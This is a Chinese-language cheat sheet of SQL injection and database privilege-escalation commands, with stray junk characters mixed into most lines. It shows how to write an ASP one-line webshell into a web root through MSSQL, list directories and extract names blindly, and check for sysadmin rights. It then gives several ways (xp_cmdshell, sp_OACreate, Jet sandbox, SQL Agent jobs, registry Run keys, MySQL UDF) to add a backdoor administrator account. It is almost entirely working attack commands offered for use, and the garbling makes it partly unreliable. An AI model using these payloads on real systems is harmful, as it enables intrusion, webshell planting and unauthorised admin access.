MSSQL语句导出一句话木马
, L4 k" v& W# c, I& L首先确定网站的WEB路径; Z! k( {6 Y0 f- t! @+ H7 ]
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马9 S2 y3 M) G; O6 Z* }2 C7 x3 Z
! E4 {2 D) X, b% \( F( u;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- ; s! F) T g% L
//将一句话木马插入表中5 L% m$ S4 Y4 t7 O( `! _' k
. h1 W" Q5 y% o+ G8 R
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- * \' v4 f# U( v n2 c( m& {/ Y( {7 ^' r
//导出一个ASP文件) K1 F, U4 M9 \' @
, v6 o* a: \* z# H+ {) r9 z( G" P
6 z3 y$ G. a; k% D# v关于MSSQL列目录 h2 q1 l9 s. z- J
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表7 s1 I! @6 b$ N0 ~
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
& p6 b# R: @# o' R# m" P4 t
! p6 U5 I# g( t4 _and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录7 }" `; {0 ^0 O
- N) |2 C9 e3 W- V+ T$ ^) V7 v! JAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
+ i6 ~& t" a, e z; R. a
. m! X$ V( T- F( e/ a7 lAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
( D# `6 @4 c8 {* z N; |) I6 i# ]# i) O; n& T" ]/ p
' q3 z$ C6 Q+ C数据库版本和权限查看
8 o& s$ [" F# U/ _5 Cand 1=(select @@VERSION) //查看详细的数据库信息.
2 S- c! G; S) band 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA# i- j$ m- m b/ w1 e3 S" u
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
: H) l/ }7 W* P. K3 N( N5 X x. i, J/ ?2 a
' L) B4 K: n& z/ p, P! A; z' B
1.利用xp_cmdshell执行命令
- m/ G/ f* O5 d5 Z( `. kexec master..xp_cmdshell 'net user rfire 123456 /add'4 o) F$ z- \6 x
exec master..xp_cmdshell 'net localgroup administrators rfire /add'
' B, {! l3 E0 N3 i" n- k
3 [0 z! k* N3 J$ p$ k5 g恢复xp_cmdshell存储过程
9 ?6 T4 D5 t: \5 _/ B' Y m6 B3 ?Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'# X2 g4 ~# a$ j! d- H3 g: v
7 S0 N x e- R( C' D& y. u
, r4 ?( C1 }' p# F" {2.利用SP_OAcreate和SP_OAMETHOD执行命令
/ y$ U2 X- P$ [# p在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下 b- i8 F0 {, ~7 @# r p' m9 C( |* |
DECLARE @shell INT //建立一个@shell实体
4 m) N, h/ T1 z; X; HEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
. r" r, M7 |- KEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
; b& T" B' v# U4 z+ I# Q3 r/ a8 Z( Q+ u5 k5 K
& D7 A* ~6 Z# v. |
3.利用沙盒模式+ q+ t8 e, d+ a9 a9 h
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。9 N' o: N, P; M3 K; d7 K% e( F
开启沙盒模式:# K! k2 `. T' N' x' f
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
/ D& p7 K: y+ K
+ g8 W! {6 q* H% l$ Z7 j5 T执行命令:
1 @7 I* }. v' t, M1 ^- }$ rSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');3 E# y+ Y2 {& o* ?6 s
m( O) h& E, b$ X/ O# l' j- G% e
7 f6 R: E$ }1 }
4.利用SQL代理执行命令* ?9 y+ X7 I9 f" k9 q- e6 L
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
2 X3 C3 X3 i8 J* t: V1 U- H/ U- u* R7 w
执行命令:
+ W5 {" ~/ x4 P% t3 ^use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错- y4 U4 ~9 a- c9 H# [4 d/ [0 E, z
exec sp_add_job 'x'7 B; {! d" X* R$ F0 J. J0 ~
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业/ U9 |, U% e% ]1 p
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业' J# }7 Y; x, V- v4 n; T
; F) v4 Q o) X) V0 G$ i2 W
# ?2 @( k, A i5 n* a! Z! I5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项); y4 }8 w/ B1 \1 e: U* L' p7 l/ V
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'. l- {$ v4 d/ N# x% |& A
; t1 \" |2 S- l% ?1 Q0 X; r
3 y5 `7 I: Y3 S% i% c8 F. p# C6.MYSQL的命令执行( S: d6 A6 Z0 ^4 i5 X$ I. x% f3 A
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
) P7 a& l+ F! L1 B! I: N首先要在su.php下导出c:\windows\udf.dll/ I% b6 [6 d% e: g3 V3 Q
导出后执行创建自定义函数命令:8 E( d+ u# n1 r
Create Function cmdshell returns string soname 'udf.dll'; P6 y! }4 v! B
执行命令" v! a) D; s1 c! @
select cmdshell('net user rfire 123456 /add')
" o$ ^6 l7 ~/ o执行后删除函数 drop function cmdshell
. [+ d$ n1 J" W0 C+ B2 I# S7 Z } |